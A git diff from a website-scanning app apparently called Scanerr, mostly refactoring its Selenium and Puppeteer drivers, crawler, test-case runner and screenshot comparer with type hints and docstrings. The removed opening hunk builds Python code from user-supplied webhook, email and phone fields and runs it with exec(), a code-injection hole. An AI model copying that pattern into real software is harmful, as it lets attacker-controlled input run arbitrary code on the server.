-                data_type = 'float(scan.yellowlab["scores"]["badCSS"])'
-            elif 'fonts' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["fonts"])'
-            elif 'serverConfig' in expression['data_type']:
-                data_type = 'float(scan.yellowlab["scores"]["serverConfig"])'
-            
-            
-            elif 'logs' in expression['data_type']:
-                data_type = 'len(scan.logs)'
-            
-            elif 'current_health' in expression['data_type']:
-                data_type = '((float(test.lighthouse_delta["scores"]["current_average"]) + float(test.yellowlab_delta["scores"]["current_average"]))/2)'
-
-            elif 'health' in expression['data_type']:
-                data_type = '((float(scan.lighthouse["scores"]["average"]) + float(scan.yellowlab["scores"]["globalScore"]))/2)'
-
-            elif 'avg_image_score' in expression['data_type']:
-                data_type = 'float(test.images_delta["average_score"])'
-
-            elif 'image_scores' in expression['data_type']:
-                data_type = '[i["score"] for i in test.images_delta["images"]]' 
-                exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
-            
-            if exp is None:
-                exp = f'{joiner}{data_type}{operator}{value}'
-           
-            exp_list.append(exp)
-
-
-
-    for action in actions:
-
-        if 'slack' in action['action_type']:
-            action_type = f"\n  print('sending slack alert')\
-                \n  automation_slack(automation_id='{str(automation.id)}', \
-                object_id='{str(object_id)}')"
-        
-        if 'webhook' in action['action_type']:
-            action_type = f"\n  print('sending webhook alert')\
-                \n  automation_webhook(request_type='{action['request']}', \
-                request_url='{action['url']}', request_data='{action['json']}', \
-                automation_id='{str(automation.id)}', \
-                object_id='{str(object_id)}')"
-        
-        if 'email' in action['action_type']:
-            action_type = f"\n  print('sending email alert')\
-                \n  automation_email(email='{action['email']}',\
-                automation_id='{str(automation.id)}', \
-                object_id='{str(object_id)}')"
-            
-            if report:
-                action_type = f"\n  print('sending report email')\
-                    \n  automation_report_email(email='{action['email']}',\
-                    automation_id='{str(automation.id)}', \
-                    object_id='{str(object_id)}')"
-        
-        if 'phone' in action['action_type']:
-            action_type = f"\n  print('sending phone alert')\
-                \n  automation_phone(phone_number='{action['phone']}', \
-                automation_id='{str(automation.id)}', \
-                object_id='{str(object_id)}')"
-
-        act = f'{action_type}'
-        act_list.append(act)
-
-
-    exp_string = ' '.join(exp_list)
-    act_string = ''.join(act_list)
-
-    if not use_exp:
-        exp_string = '1 == 1'
-
-    automation_logic = f'if {exp_string}:{act_string}'
-    print(automation_logic)
-    exec(automation_logic)
-
-    return True
-
-
-        
-
-
-
-
-        
-
-
-        
-        
\ No newline at end of file
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 3ed20e7a..c7de3b42 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,7 +1,7 @@
 from .driver_p import driver_init as driver_p_init
 from .driver_s import driver_init as driver_s_init
 from .driver_s import driver_wait, quit_driver
-import time, asyncio, uuid, json, boto3, os
+import time, uuid, json, boto3, os
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
 from ..models import * 
@@ -13,10 +13,25 @@
 
 
 
+
 class Caser():
+    """ 
+    Run a `Testcase` for a specific `Site`.
+
+    Expects: {
+        'testcase' : object,
+    }
+
+    - Use `Caser.run_s()` to run with selenium
+    - Use `Caser.run_p()` to run with puppeteer
+
+    Returns -> None
+    """
 
 
-    def __init__(self, testcase):
+
+
+    def __init__(self, testcase: object=None):
         self.testcase = testcase
         self.site_url = self.testcase.site.site_url
         self.steps = self.testcase.steps
@@ -58,11 +73,13 @@ def __init__(self, testcase):
 
 
 
+
     @sync_to_async
     def update_testcase(
-            self, index=None, type=None, start_time=None, end_time=None, 
-            passed=None, exception=None, time_completed=None, image=None,
-        ):
+            self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
+            passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+        ) -> None:
+        # updates Tescase for a puppeteer run (async) 
         if start_time != None:
             self.testcase.steps[index][type]['time_created'] = str(start_time)
         if end_time != None:
@@ -84,12 +101,16 @@ def update_testcase(
             self.testcase.passed = test_status
         
         self.testcase.save()
-        return
+        return None
+
+
+
 
     def update_testcase_s(
-            self, index=None, type=None, start_time=None, end_time=None, 
-            passed=None, exception=None, time_completed=None, image=None,
-        ):
+            self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
+            passed: bool=None, exception: str=None, time_completed: str=None, image: str=None,
+        ) -> None:
+        # updates Tescase for a selenium run (async) 
         if start_time != None:
             self.testcase.steps[index][type]['time_created'] = str(start_time)
         if end_time != None:
@@ -113,12 +134,17 @@ def update_testcase_s(
         self.testcase.save()
         return
 
+
+
+
     @sync_to_async
     def format_element(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
 
 
+
+
     def format_element_s(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
@@ -126,13 +152,12 @@ def format_element_s(self, element):
 
 
     
-    async def save_screenshot(self, page):
+    async def save_screenshot(self, page: object=None) -> str:
         '''
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
 
         Returns -> `image_url` <str:remote path to image>
-        
         '''
 
         # setup boto3 configurations
@@ -164,17 +189,17 @@ async def save_screenshot(self, page):
         os.remove(image)
 
         # returning image url
-        return  image_url
+        return image_url
+
 
 
     
-    def save_screenshot_s(self):
+    def save_screenshot_s(self) -> str:
         '''
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
 
         Returns -> `image_url` <str:remote path to image>
-        
         '''
 
         # setup boto3 configurations
@@ -206,11 +231,18 @@ def save_screenshot_s(self):
         os.remove(image)
 
         # returning image url
-        return  image_url
+        return image_url
+
 
     
 
-    def run_s(self):
+    def run_s(self) -> None:
+        """
+        Runs the self.testcase using selenium as the driver
+
+        Returns -> None
+        """
+
         print(f'beginning testcase for {self.site_url}  \
             using case {self.case_name}')
         
@@ -234,7 +266,6 @@ def run_s(self):
                 self.driver.get(f'{self.site_url}')
                 time.sleep(int(self.configs['min_wait_time']))
 
-            
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
@@ -261,7 +292,6 @@ def run_s(self):
                     exception = e
                     passed = False
 
-                
                 self.update_testcase_s(
                     index=i, type='action', 
                     end_time=datetime.now(), 
@@ -270,8 +300,6 @@ def run_s(self):
                     image=image
                 )
             
-
-
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
@@ -304,8 +332,6 @@ def run_s(self):
                     image=image
                 )
         
-
-
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
@@ -339,7 +365,6 @@ def run_s(self):
                     image=image
                 )
 
-            
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
@@ -378,9 +403,6 @@ def run_s(self):
                     exception=exception,
                     image=image
                 )
-            
-
-
 
             if step['assertion']['type'] == 'match':
                 exception = None
@@ -416,7 +438,6 @@ def run_s(self):
                     exception=exception,
                     image=image
                 )
-
             
             if step['assertion']['type'] == 'exists':
                 exception = None
@@ -456,17 +477,18 @@ def run_s(self):
         )
         quit_driver(driver=self.driver)
         print('-- testcase run complete --')
+        
+        return None
 
 
 
 
+    async def run_p(self) -> None:
+        """
+        Runs the self.testcase using pupeteer as the driver
 
-
-
-
-    
-    async def run_p(self):
-
+        Returns -> None
+        """
 
         print(f'beginning testcase for {self.site_url}  \
             using case {self.case_name}')
@@ -516,7 +538,6 @@ async def run_p(self):
         for step in self.steps:
             print(f'-- running step #{i+1} --')
 
-
             # adding catch if nav is not first
             if i == 0 and step['action']['type'] != 'navigate':
                 print(f'navigating to {self.site_url} before first step')
@@ -524,8 +545,6 @@ async def run_p(self):
                 await self.page.goto(f'{self.site_url}', self.page_options)
                 time.sleep(int(self.configs['min_wait_time']))
 
-
-
             if step['action']['type'] == 'navigate':
                 exception = None
                 passed = True
@@ -555,8 +574,6 @@ async def run_p(self):
                     image=image
                 )
                     
-
-
             if step['action']['type'] == 'click':
                 exception = None
                 passed = True
@@ -590,7 +607,6 @@ async def run_p(self):
                     image=image
                 ) 
 
-
             if step['action']['type'] == 'change':
                 exception = None
                 passed = True
@@ -626,7 +642,6 @@ async def run_p(self):
                     image=image
                 ) 
 
-            
             if step['action']['type'] == 'keyDown':
                 exception = None
                 passed = True
@@ -654,9 +669,6 @@ async def run_p(self):
                     exception=exception,
                     image=image
                 )
-            
-
-
 
             if step['assertion']['type'] == 'match':
                 exception = None
@@ -693,7 +705,6 @@ async def run_p(self):
                     image=image
                 )
 
-            
             if step['assertion']['type'] == 'exists':
                 exception = None
                 passed = True
@@ -730,9 +741,8 @@ async def run_p(self):
         await self.driver.close()
         print('-- testcase run complete --')
 
-    
-    
-    
+        return None
+
     
     
     
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 89eb1ed5..f13c6b8a 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -5,22 +5,48 @@
 
 
 
+
+
 class Crawler():
+    """ 
+    Crawl the passed "site" for pages, stoping 
+    once 'max_urls' is reached.
+
+    Expects: {
+        'url'       : str,
+        'sitemap'   : str,
+        'start_url' : str,
+        'max_urls'  : int,
+    }
+
+    Use `Crawler.get_links()` initiate a new crawl
+
+    Returns -> list
+    """
+
 
-    def __init__(self, url=None, sitemap=None, max_urls=25):
+
+    def __init__(self, url: str=None, sitemap: str=None, max_urls: int=25):
         self.url = url
         self.sitemap = sitemap
         self.max_urls = max_urls
         self.driver = driver_init()
 
+
+
     
-    def get_links(self):
+    def get_links(self) -> list:
+        # crawl self.url and record any found links 
+        # which are within the same self.url domain
 
         follow_urls = []
         crawled_urls = [self.url,]
+        
+        def url_is_valid(url: str=None) -> bool:
+            # checks if the passed url is 
+            # a valid url to follow and 
+            # not a file or external redirect
 
-        # validates url
-        def url_is_valid(url):
             bad_str_list = ['cdn-cgi']
             bad_end_list = [
                 '.png', '.jpg', '.pdf', '.jpeg', 
@@ -56,10 +82,14 @@ def add_urls(start_url):
                 interval=2
             )
 
+            # parsing page_source 
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
+
+            # iterating through all <a> tags
             for link in soup.find_all('a'):
                 url = link.get('href')
                 if url is not None:
+                    # validate url
                     if url_is_valid(url):
                         if url.startswith('/'):
                             url = self.url + url
@@ -86,6 +116,7 @@ def add_urls(start_url):
                     print('max pages reached')
                     break
 
+        # quit driver and return
         quit_driver(self.driver)
         return crawled_urls
 
diff --git a/app/api/utils/crux.py b/app/api/utils/crux.py
deleted file mode 100644
index 73601c4e..00000000
--- a/app/api/utils/crux.py
+++ /dev/null
@@ -1,36 +0,0 @@
-import requests, os, json
-
-
-
-class Crux():
-
-    def __init__(self, site_url):
-        self.site_url = site_url
-        self.key = os.environ.get('GOOGLE_CRUX_KEY')
-
-
-    def get_data(self):
-
-        url = f'https://chromeuxreport.googleapis.com/v1/records:queryRecord?key={self.key}'
-        headers = {
-            "Content-Type": "application/json",
-        }
-        data = {
-            "origin": str(self.site_url),
-        }
-
-        res = requests.post(
-            url=url, 
-            headers=headers, 
-            data=json.dumps(data)
-        )
-
-        response = res.json()
-
-        if res.status_code != 200:
-            response = {
-                "status": "failed",
-                "message": "This site_url does not have enough historical data in the CRUX API to respond with."
-            }
-        
-        return response
diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js
index cae0befc..a51b1005 100644
--- a/app/api/utils/custom-config.js
+++ b/app/api/utils/custom-config.js
@@ -1,7 +1,4 @@
 // custom configurations for Lighthouse CLI
-
-
-
 module.exports = {
   extends: 'lighthouse:default',
   plugins: ['lighthouse-plugin-crux'],
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index bfa37657..e0cd8c0b 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -1,17 +1,28 @@
 from pyppeteer import launch
 from scanerr import settings
-import time, os, numpy, json, \
-sys, datetime, asyncio, subprocess
+import time, os, sys, datetime
 
 
 
-async def driver_init(
-    window_size='1920,1080',
-    wait_time=30, 
-    ):
 
+
+
+async def driver_init(window_size: str='1920,1080', wait_time: int=30) -> object:
+    """ 
+    Starts a new puppeteer driver instance
+
+    Expects: {
+        'window_size' : str, 
+        'wait_time'   : int
+    } 
+
+    Returns -> driver object
+    """
+
+    # parsing window sizes
     sizes = window_size.split(',')
 
+    # setting browser options
     options = {
         'executablePath': os.environ.get('CHROME_BROWSER'),
         'args': [
@@ -26,9 +37,10 @@ async def driver_init(
             'width': int(sizes[0]),
             'height': int(sizes[1]), 
         },
-        # 'timeout': wait_time * 1000  # replaced by 
+        # 'timeout': wait_time * 1000
     }
 
+    # launching driver
     driver = await launch(
         options=options, 
         headless=True,
@@ -37,28 +49,34 @@ async def driver_init(
         handleSIGHUP=False
     )
     
+    # return driver
     return driver
 
 
 
 
-
-async def interact_with_page(page):
+async def interact_with_page(page: object=None) -> object:
     # simulate mouse movement
+    # and returns the page object
     await page.mouse.move(0, 0)
     await page.mouse.move(0, 50)
-
     return page
 
 
 
-async def wait_for_page(page, max_wait_time=30):
+
+async def wait_for_page(page: object=None, max_wait_time: int=30) -> object:
     """
     Expects the puppeteer page instance and waits 
     for either the page to fully load or the max_wait_time
     to expire before returning.
 
-    Returns -> Page <pypt:instance>
+    Expects: {
+        'page'          : object, 
+        'max_wait_time' : int
+    }
+
+    Returns -> page <pypt:instance>
     """
 
     print(f'waiting for page load or {str(max_wait_time)} seconds')
@@ -76,12 +94,20 @@ async def wait_for_page(page, max_wait_time=30):
 
 
 
-async def driver_test(*args, **options):
+
+async def driver_test() -> None:
+    """ 
+    Spins up a puppeteer driver instance and
+    tests to ensure it can access the browser and internet
+
+    Returns -> None
+    """
 
     print("Testing puppeteer instalation and integration...")
     message = 'Puppeteer was unable to start\n\n'
     status = 'Failed'
 
+    # testing puppeteer
     try:
         driver = await driver_init()
         page = await driver.newPage()
@@ -93,51 +119,71 @@ async def driver_test(*args, **options):
             status = 'Success'
             message = 'Puppeteer installed and working \N{check mark} \n'
 
+    # log exception
     except Exception as e:
         print(e)
 
+    # logging test results
     sys.stdout.write(
-            '--- ' + status + ' ---\n'+ message
-        )
+        '--- ' + status + ' ---\n'+ message
+    )
 
+    # quiting driver
     try:
         await driver.close()
     except:
         pass
+    
+    return None
    
 
 
 
+async def get_data(url: str=None, configs: dict=None) -> dict:
+    """ 
+    Using the puppeteer driver, navigates to the passed 
+    'url' and records the page source and any 
+    present console errors & warnings
 
+    Expects: {
+        url     : str, 
+        configs : dict
+    }
+    
+    Returns -> data: {
+        'html' : str, 
+        'logs' : dict,
+    }
+    """
 
-async def get_data(url, configs, *args, **options):
+    # initing the driver
     sizes = configs['window_size'].split(',')
     driver = await driver_init(window_size=configs['window_size'])
     page = await driver.newPage()
 
+    # setting driver configs
     page_options = {
         'waitUntil': 'networkidle0', 
         # 'timeout': configs['max_wait_time']*1000
     }
-
     viewport = {
         'width': int(sizes[0]),
         'height': int(sizes[1]),
     }
-    
     userAgent = (
         "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
         (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36"
     )
-
     await page.setViewport(viewport)
-
     if configs['device'] == 'mobile':
         await page.setUserAgent(userAgent)
     
-    
+    # defining logs
     logs = []
+
     def record_logs(log):
+        # helper method to record console
+        # logs in the issues tab
         if log.type == 'error':
             if '.js' in log.text:
                 source = 'javascript'
@@ -168,6 +214,8 @@ def record_logs(log):
             logs.append(log_obj)
     
     def record_network(request):
+        # helper method to record console
+        # network issues in the issues tab
         log_obj = {
             "level": "SEVERE", 
             "source": "network",
@@ -177,6 +225,8 @@ def record_network(request):
         logs.append(log_obj)
 
     def record_error(error):
+        # helper method to record console
+        # page errors in the issues tab
         err = str(error).split(' at ')[0]
         log_obj = {
             "level": "SEVERE", 
@@ -186,11 +236,12 @@ def record_error(error):
         }
         logs.append(log_obj)
 
-
+    # getting console logs, warnings, and errors
     page.on('console', lambda log : record_logs(log))
     page.on('requestfailed', lambda request : record_network(request))
     page.on('pageerror', lambda error : record_error(error))
 
+    # navigate to requested url
     await page.goto(url, page_options) 
 
     # await page.waitForNavigation(navWaitOpt)
@@ -198,8 +249,10 @@ def record_error(error):
     await interact_with_page(page)
     html = await page.content()
     
+    # quitting driver
     await driver.close()
-
+    
+    # returning data
     data = {
         'html': html, 
         'logs': logs,
@@ -208,23 +261,3 @@ def record_error(error):
     return data
 
 
-
-
-def test_puppeteer():
-    # initiating subprocess for Puppeteer
-    js_file = os.path.join(settings.BASE_DIR, "api/utils/puppeteer.mjs")
-    proc = subprocess.Popen(
-        [
-            'node',
-            js_file,
-        ], 
-        stdout=subprocess.PIPE,
-        user='app',
-    )
-
-    # retrieving data from process
-    stdout_value = proc.communicate()[0]
-
-    # converting stdout str into Dict
-    stdout_json = json.loads(stdout_value)
-    return stdout_json
\ No newline at end of file
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index c0f1b639..25447de8 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -1,38 +1,57 @@
 from selenium import webdriver
-from selenium.webdriver import ActionChains
-from selenium.webdriver.common.by import By
 from selenium.webdriver.common.actions.action_builder import ActionBuilder
-import time, os, numpy, json, sys
+import time, os, sys
+
+
+
 
 
 
 def driver_init(
-        window_size='1920,1080', 
-        device='desktop',
-        script_timeout=30,
-        load_timeout=30,
-        wait_time=15, 
-        pixel_ratio=1.0,
-        scale_factor=0.5
-    ):
+        window_size: str='1920,1080', 
+        device: str='desktop',
+        script_timeout: int=30,
+        load_timeout: int=30,
+        wait_time: int=15, 
+        pixel_ratio: int=1.0,
+        scale_factor: int=0.5
+    ) -> object:
+    """ 
+    Starts a new selenium driver instance
+
+    Expects: {
+        'window_size'   : str, 
+        'device'        : str,
+        'script_timeout': int,
+        'load_timeout'  : int,
+        'wait_time'     : int, 
+        'pixel_ratio'   : int,
+        'scale_factor'  : int
+    } 
+
+    Returns -> driver object
+    """
 
+    # setting up browser configs
     sizes = window_size.split(',')
-
     prefs = {
         'download.prompt_for_download': False,
         'download.extensions_to_open': '.zip',
         'safebrowsing.enabled': True
     }
-
     mobile_emulation = {
-        "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": pixel_ratio },
+        "deviceMetrics": { 
+            "width": int(sizes[0]), 
+            "height": int(sizes[1]), 
+            "pixelRatio": pixel_ratio 
+        },
         "userAgent": (
             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
             (KHTML, like Gecko) Chrome/122.0.6261.119 Mobile Safari/537.36"
         ) 
     }
 
-    # chromedriver_path = os.environ.get("CHROMEDRIVER")
+    # setting browser options
     options = webdriver.ChromeOptions()
     options.binary_location = os.environ.get('CHROME_BROWSER')
     options.add_argument("--no-sandbox")
@@ -42,31 +61,41 @@ def driver_init(
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
-    options.add_argument('--hide-scrollbars')
+    options.add_argument("--hide-scrollbars")
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
-    options.add_argument("--window-size=%s" % window_size) 
+    options.add_argument(f"--window-size={window_size}") 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
     options.page_load_strategy = 'none'
 
+    # setting to mobile if reqeusted
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
+    # chromedriver_path = os.environ.get("CHROMEDRIVER")
     # service = webdriver.ChromeService(executable_path=chromedriver_path)
     driver = webdriver.Chrome(options=options)
     # driver.set_page_load_timeout(load_timeout)
     # driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)
 
-    
     return driver
 
 
-def driver_test():
+
+
+def driver_test() -> None:
+    """ 
+    Spins up a selenium driver instance and
+    tests to ensure it can access the browser and internet
+
+    Returns -> None
+    """
     
     print("Testing selenium instalation and integration...")
     message = 'Selenium was unable to start\n\n'
     status = 'Failed'
-
+    
+    # testing selenium
     try:
         driver = driver_init()
         driver.get('https://google.com')
@@ -75,49 +104,46 @@ def driver_test():
         if title == 'Google':
             status = 'Success'
             message = 'Selenium installed and working \N{check mark} \n\n'
-            
+    # log exception   
     except Exception as e:
         print(e)
-
+    
+    # logging test results
     sys.stdout.write(
-            '--- ' + status + ' ---\n'+ message
-        )
-
+        '--- ' + status + ' ---\n'+ message
+    )
+    
     try:
         quit_driver(driver)
         sys.exit(0)
     except:
         pass
-
-
-
-def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5):
-    """
-    Pauses the driver until all network requests have been resolved
-
-    --> Adding mouse interaction to load WP plugin rendered content
-
-    returns once driver determines that all request have resolved or 
-    total wait time exceeds max_wait_time <int>
     
-    """
+    return None
 
-    def get_request_list(driver):
-        # get current snapshot of driver requests 
-        requests = driver.get_log('performance')
-        r_list = []
-        for r in requests:
-            network_log = json.loads(r["message"])["message"]
 
-            # Checks if the current 'method' key has any Network related value.
-            if("Network.response" in network_log["method"]
-                or "Network.request" in network_log["method"]
-                or "Network.webSocket" in network_log["method"]):
 
-                r_list.append(network_log)
 
-        return r_list
+def driver_wait(
+        driver: object, 
+        interval: int=1, 
+        max_wait_time: int=30, 
+        min_wait_time: int=3
+    ) -> object:
+    """
+    Expects the driver instance and waits 
+    for either the page to fully load or the max_wait_time
+    to expire before returning.
+
+    Expects: {
+        'driver'        : object, 
+        'interval'      : int,
+        'max_wait_time' : int,
+        'min_wait_time' : int
+    }
 
+    Returns -> driver object
+    """
 
     def interact_with_page(driver):
         # simulate mouse movement
@@ -139,17 +165,8 @@ def interact_with_page(driver):
     time.sleep(min_wait_time)
 
     while int(wait_time) < int(max_wait_time) and page_state != 'complete':
-        # get first set of logs
-        # list_one = get_request_list(driver=driver)
-        
-        # wait 5 sec or <interval:int> sec for request to resolve
+        # wait 1 sec or <interval:int> sec 
         time.sleep(interval)
-        
-        # get second set of logs
-        # list_two = get_request_list(driver=driver)
-        
-        # check if logs are equal
-        # resolved = numpy.array_equal(list_one, list_two)
 
         page_state = driver.execute_script('return document.readyState')
         print(f'document state is {page_state}')
@@ -159,40 +176,49 @@ def interact_with_page(driver):
     # interacting with page once available
     interact_with_page(driver)
 
-    return
+    return None
 
 
 
-def get_data(driver, max_wait_time):
-    """
-    Expects the driver instance and max_wait_time <int> 
-    then returns both the page-source (html) and console-logs (logs).
 
-    Method waits for the allocated `max_wait_time`
-    before continuing with data collection.
+def get_data(
+        driver: object, 
+        interval: int=1, 
+        max_wait_time: int=30, 
+        min_wait_time: int=3
+    ) -> dict:
+    """
+    Once the page has loaded, grabs the
+    page-source (html) and console-logs (logs).
+
+    Expects: {
+        'driver'        : object, 
+        'interval'      : int,
+        'max_wait_time' : int,
+        'min_wait_time' : int
+    }
 
     Returns -> data = {
-        "html": <str>,
-        "logs": <dict>
+        'html' : str,
+        'logs' : dict
     }
     """
-    timeout = 0
-    page_state = 'loading'
+
+    # setting defaults
     html = None
     logs = None
 
-    while int(timeout) < int(max_wait_time) and page_state != 'complete':
-        page_state = driver.execute_script('return document.readyState')
-        print(f'document state is {page_state}')
-        time.sleep(1)
-        timeout += 1
+    # waiting for page to load
+    driver_wait(driver=driver)
 
+    # get data from browser
     try:
         html = driver.page_source
         logs = driver.get_log('browser')
     except Exception as e:
         print(e)
 
+    # formatting respones
     data = {
         "html": html,
         "logs": logs
@@ -202,9 +228,12 @@ def get_data(driver, max_wait_time):
 
 
 
-def quit_driver(driver):
+
+def quit_driver(driver: object) -> None:
     """ 
     Quits and reaps all child processes in docker
+
+    Returns -> None
     """
     print('Quitting session: %s' % driver.session_id)
     driver.quit()
@@ -213,14 +242,15 @@ def quit_driver(driver):
         while pid:
             pid = os.waitpid(-1, os.WNOHANG)
             print("Reaped child: %s" % str(pid))
-
             # avoid infinite loop cause pid value -> (0, 0)
             try:
                 if pid[0] == 0:
                     pid = False
             except:
                 pass
+    except ChildProcessError:
+        pass
 
 
-    except ChildProcessError:
-        pass
\ No newline at end of file
+
+    
\ No newline at end of file
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index c041ef8f..d7145f27 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -1,10 +1,14 @@
 from .driver_s import driver_init, driver_wait, quit_driver
-from PIL import Image as I, ImageChops, ImageStat
+from PIL import Image as I
 from .alerts import sendgrid_email
 from scanerr import settings
 import time, boto3, os
 
 
+
+
+
+
 # setting up s3 client
 s3 = boto3.client(
     's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
@@ -21,13 +25,13 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
     send an email to the prospect that requested it.
 
     Expects the following:
-        'report_id'     : <id> of report/page being reported on
-        'email'         : <str> prospect's email address 
-        'first_name'    : <str> prospect's first name
+        'report_id'     : id of report/page being reported on
+        'email'         : str prospect's email address 
+        'first_name'    : str prospect's first name
     
     Returns -> data {
-        'success' : <bool> if process started successfully
-        'error'   : <str> any error msg from Scanerr server
+        'success' : bool if process started successfully
+        'error'   : str any error msg from Scanerr server
     }
     """
 
diff --git a/app/api/utils/image.py b/app/api/utils/imager.py
similarity index 94%
rename from app/api/utils/image.py
rename to app/api/utils/imager.py
index c832006d..0eb81fee 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/imager.py
@@ -1,14 +1,9 @@
 from .driver_s import driver_init, driver_wait, quit_driver
 from .driver_p import driver_init as driver_init_p, wait_for_page
-from selenium import webdriver
 from ..models import Site, Scan, Test, Mask
-from selenium.webdriver.chrome.options import Options
-from django.forms.models import model_to_dict
-from django.core.serializers.json import DjangoJSONEncoder
 from skimage.metrics import structural_similarity
 from scanerr import settings
 from PIL import Image as I, ImageChops, ImageStat
-from pyppeteer import launch
 from datetime import datetime
 from asgiref.sync import sync_to_async
 import time, os, sys, json, uuid, boto3, \
@@ -18,10 +13,12 @@
 
 
 
-class Image():
+
+class Imager():
     """
     High level Image handler used to compare screenshots of
-    a website and retrieve single one-page screenshots. 
+    a website.
+
     Also known as VRT or Visual Regression Testing.
     Contains three methods scan_s(), scan_p(), test(). 
     The _p appendage denotes using Puppeteer as the webdriver
@@ -42,7 +39,9 @@ def test(test=<test:object>) -> compares each
     """
 
 
-    def __init__(self, scan=None, configs=None):
+
+
+    def __init__(self, scan: object=None, configs: dict=None):
 
         # main scan object
         self.scan = scan
@@ -68,7 +67,6 @@ def __init__(self, scan=None, configs=None):
             document.querySelectorAll('video').forEach(vid => vid.currentTime=0);
             """ 
         )
-
         self.set_jquery = (
             """
             var jq = document.createElement('script');
@@ -76,7 +74,6 @@ def __init__(self, scan=None, configs=None):
             document.getElementsByTagName('head')[0].appendChild(jq);
             """
         )
-
         self.pause_animations_script = (
             """
             const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');
@@ -88,11 +85,12 @@ def __init__(self, scan=None, configs=None):
 
 
 
-    def check_timeout(self, timeout, start_time):
+
+    def check_timeout(self, timeout: int, start_time: str) -> bool:
         """
         Checks to see if the current time exceedes the alotted timeout. 
         
-        returns -> True if timeout exceeded
+        Returns -> True if timeout exceeded
         """
         current = datetime.now()
         diff = current - start_time
@@ -105,7 +103,7 @@ def check_timeout(self, timeout, start_time):
 
 
 
-    def add_images(self, im1, im2):
+    def add_images(self, im1: object, im2: object) -> object:
         """
         Joins img1 and im2 vertically and saves as "new_img"
         
@@ -121,10 +119,12 @@ def add_images(self, im1, im2):
 
 
     
-    def save_image(self, pic_id, image):
+    def save_image(self, pic_id: str, image: object) -> None:
         """
         Upload image to s3, save info as image_obj,
         add image_obj to image_array, & remove image file
+
+        Returns -> None
         """
         remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png'
         root_path = settings.AWS_S3_URL_PATH
@@ -150,17 +150,21 @@ def save_image(self, pic_id, image):
         # remove local copy
         os.remove(image)
 
+        return None
 
 
 
 
-
-
-
-    def scan_s(self, driver=None):
+    def scan_s(self, driver: object=None) -> list:
         """
         Grabs full length screenshots of the website and uploads 
         them to s3.
+
+        Expects: {
+            'driver': object
+        }
+
+        Returns -> self.image_array list
         """
 
         # initialize driver if not passed as param
@@ -291,42 +295,47 @@ def scan_s(self, driver=None):
         # saving image
         self.save_image(pic_id=pic_id_2, image=final_img)
 
+        # clean up
         if not driver_present:
             quit_driver(driver)
 
+        # return images
         return self.image_array
 
 
 
 
-
-
-
-
-    async def scan_p(self):
+    async def scan_p(self) -> list:
         """
         Using Puppeteer, grabs full length screenshots of the website and uploads 
         them to s3.
+
+        Returns -> self.image_array list
         """
 
         @sync_to_async
         def get_page():
             _page = self.scan.page
             return _page
-
+        
+        # getting Scanerr `page` object
         _page = await get_page()
 
+        # starting up puppeteer driver
         driver = await driver_init_p(
             window_size=self.configs.get('window_size', '1920,1080'), 
             wait_time=int(self.configs.get('max_wait_time', 30))
         )
+
+        # initing new puppeteer page
         page = await driver.newPage()
 
+        # setting configs for driver
         sizes = self.configs.get('window_size', '1920,1080').split(',')
         is_mobile = False
         if self.configs.get('device') == 'mobile':
             is_mobile = True
-        
+
         page_options = {
             'waitUntil': 'networkidle0', 
             # 'timeout': int(self.configs.get('max_wait_time', 30))*1000
@@ -343,22 +352,22 @@ def get_page():
         if self.configs.get('auto_height', True):
             page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
 
+        # setting more driver configs
         viewport = {
             'width': int(sizes[0]),
             'height': int(page_height),
             'isMobile': is_mobile,
         }
-        
         userAgent = (
             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
             (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
         )
-        
         emulate_options = {
             'viewport': viewport,
             'userAgent': userAgent
         }
 
+        # setting device type
         if self.configs.get('device') == 'mobile':
             await page.emulate(emulate_options)
         else:
@@ -367,15 +376,15 @@ def get_page():
